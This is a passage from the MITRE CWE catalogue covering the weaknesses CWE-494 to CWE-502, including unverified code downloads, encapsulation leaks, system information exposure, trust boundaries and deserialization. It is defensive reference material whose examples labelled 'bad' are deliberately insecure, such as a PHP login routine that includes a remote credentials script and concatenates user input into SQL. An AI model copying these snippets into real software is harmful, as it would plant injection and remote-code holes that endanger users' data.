Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example loads an external class from a local subdirectory.

Example Language: Java *(bad)*

```
URL[] classURLs= new URL[]{
    new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

Example Language: PHP *(bad)*

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
    include("http://external.example.com/dbInfo.php");
    //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
    mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
    mysql_select_db($dbname);
    $query = 'Select * from users where username='.$username.' And password='.$password;
    $result = mysql_query($query);
    if(mysql_numrows($result) == 1){
        mysql_close();
        return true;
    }
    else{
        mysql_close();
        return false;
    }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow himself to access the application without a real user account.

This example is also vulnerable to a MITM (CWE-300) attack.

Observed Examples

Reference	Description
CVE-2008-3438	OS does not verify authenticity of its own updates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3438*
CVE-2008-3324	online poker client does not verify authenticity of its own updates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3324*
CVE-2001-1125	anti-virus product does not verify automatic updates for itself. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1125*
CVE-2002-0671	VOIP phone downloads applications from web sites without verifying integrity. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0671*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	1911
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Invoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault Patterns	SFP27		Tainted input to environment

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
184	Software Integrity Attack
185	Malicious Software Download
186	Malicious Software Update
187	Malicious Automated Software Update
533	Malicious Manual Software Update

References

[REF-454]Microsoft. "Introduction to Code Signing". < http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx >.

[REF-455]Microsoft. "Authenticode". < http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx >.

[REF-456]Apple. "Code Signing Guide". Apple Developer Connection. 2008 November 9. < http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html >.

[REF-457]Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". < http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-459]Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". 2010 April 5. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/04/05/top-25-series-rank-20-download-code-integrity-check/ >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

CWE-495: Private Data Structure Returned From A Public Method

Weakness ID : 495 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the data structure can be modified from outside the intended scope.*	

Potential Mitigations

Phase: Implementation

Declare the method private.

Phase: Implementation

Clone the member data and keep an unmodified version of the data private to the object.

Phase: Implementation

Use public setter methods that govern how a private member can be modified.

Demonstrative Examples

Example 1:

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Example Language: Java *(bad)*

```
private String[] colors;
public String[] getColors() {
    return colors;
}
```

Example 2:

In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.

Example Language: C++ *(bad)*

```
class Color
{
    private:
        int[2] colorArray;
        int colorValue;
    public:
        Color () : colorArray { 1, 2 }, colorValue (3) { };
        int[2] & fa () { return colorArray; } // return reference to private array
        int & fv () { return colorValue; } // return reference to private integer
};
int main ()
{
```

```
    Color c;
    c.fa () [1] = 42; // modifies private array element
    c.fv () = 42; // modifies private int
    return 0;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Private Array-Typed Field Returned From A Public Method
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-496: Public Data Assigned to Private Array-Typed Field

Weakness ID : 496 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Assigning public data to a private array is equivalent to giving public access to the array.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the array can be modified from outside the intended scope.*	

Potential Mitigations

Phase: Implementation

Do not allow objects to modify private members of a class.

Demonstrative Examples

Example 1:

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

Example Language: Java *(bad)*

```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
    this.userRoles = userRoles;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Public Data Assigned to Private Array-Typed Field
Software Fault Patterns	SFP25		Tainted input to variable

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Weakness ID : 497 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the application does.

Extended Description

Network-based software, such as web applications, often runs on top of an operating system or similar environment. When the application communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the application itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts. An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. An application may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
ParentOf	B	214	Invocation of Process Using Visible Sensitive Information	505
ParentOf	V	526	Exposure of Sensitive Information Through Environmental Variables	1099
ParentOf	V	548	Exposure of Information Through Directory Listing	1121

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

Demonstrative Examples

Example 1:

The following code prints the path environment variable to the standard error stream:

Example Language: C *(bad)*

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

Example 2:

The following code prints an exception to the standard error stream:

Example Language: Java *(bad)*

```
try {
    ...
} catch (Exception e) {
    e.printStackTrace();
}
```

Example Language: *(bad)*

```
try {
    ...
} catch (Exception e) {
    Console.Writeline(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 3:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

Example Language: C# *(bad)*

```
string cs="database=northwind; server=mySQLServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.Writeline(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			System Information Leak
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
170	Web Application Fingerprinting

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID : 498 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
CanPrecede		200	Exposure of Sensitive Information to an Unauthorized Actor	466

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.*	

Potential Mitigations

Phase: Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
public class CloneClient {
    public CloneClient() //throws
    java.lang.CloneNotSupportedException {
        Teacher t1 = new Teacher("guddu","22,nagar road");
        //...
        // Do some stuff to remove the teacher.
        Teacher t2 = (Teacher)t1.clone();
        System.out.println(t2.name);
    }
    public static void main(String args[]) {
        new CloneClient();
    }
}
class Teacher implements Cloneable {
    public Object clone() {
        try {
            return super.clone();
        }
        catch (java.lang.CloneNotSupportedException e) {
            throw new RuntimeException(e.toString());
        }
    }
    public String name;
    public String clas;
    public Teacher(String name,String clas) {
        this.name = name;
        this.clas = clas;
    }
}
```

Make classes uncloneable by defining a clone function like:

Example Language: Java *(good)*

```
public final void clone() throws java.lang.CloneNotSupportedException {
    throw new java.lang.CloneNotSupportedException();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	1986

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Information leak through class cloning
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ07-J		Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP23		Exposed Data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID : 499 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Nature	Type	ID	Name	Page
CanPrecede		200	Exposure of Sensitive Information to an Unauthorized Actor	466

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *an attacker can write out the class to a byte stream, then extract the important data from it.*	

Potential Mitigations

Phase: Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Phase: Implementation

Make sure to prevent serialization of your objects.

Demonstrative Examples

Example 1:

This code creates a new record for a medical patient:

Example Language: Java *(bad)*

```
class PatientRecord {
    private String name;
    private String socialSecurityNum;
    public Patient(String name,String ssn) {
        this.SetName(name);
        this.SetSocialSecurityNumber(ssn);
    }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	1909
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	1991

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Information leak through serialization

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J		Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)	SER05-J		Do not serialize instances of inner classes
Software Fault Patterns	SFP23		Exposed Data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-500: Public Static Field Not Marked Final

Weakness ID : 500 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	493	Critical Public Variable Without Final Modifier	1053

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Potential Mitigations

Phase: Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Phase: Implementation

Make any static fields private and constant. A constant field is denoted by the keyword 'const' in C/C++ and ' final' in Java

Demonstrative Examples

Example 1:

The following examples use of a public static String variable to contain the name of a property/ configuration file for the application.

Example Language: C++ *(bad)*

```
class SomeAppClass {
    public:
        static string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

Example Language: Java *(bad)*

```
public class SomeAppClass {
    public static String appPropertiesFile = "app/Application.properties";
    ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to the altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.

Example Language: C++ *(good)*

```
class SomeAppClass {
    public:
        static const string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

Example Language: Java *(good)*

```
public class SomeAppClass {
    public static final String appPropertiesFile = "app/Application.properties";
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960

Nature	Type	ID	Name	V	Page
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	1986

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Overflow of static internal buffer
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-501: Trust Boundary Violation

Weakness ID : 501 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product mixes trusted and untrusted data in the same data structure or structured message.

Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Demonstrative Examples

Example 1:

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Example Language: Java *(bad)*

```
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
    session.setAttribute(ATTR_USR, usrname);
}
```

Example Language: C# *(bad)*

```
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
    session.Add(ATTR_USR, usrname);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Trust Boundary Violation
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-502: Deserialization of Untrusted Data

Weakness ID : 502 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it

does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588
PeerOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1591
PeerOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1591

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : Ruby *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

Alternate Terms

Marshaling, Unmarshaling : Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

Pickling, Unpickling : In Python, the "pickle" functionality is used to perform serialization and deserialization.

PHP Object Injection : Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data Unexpected State *Attackers can modify unexpected objects or data that was assumed to be safe from modification.*	
Availability	DoS: Resource Consumption (CPU) *If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.*	
Other	Varies by Context *The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phase: Architecture and Design

Phase: Implementation

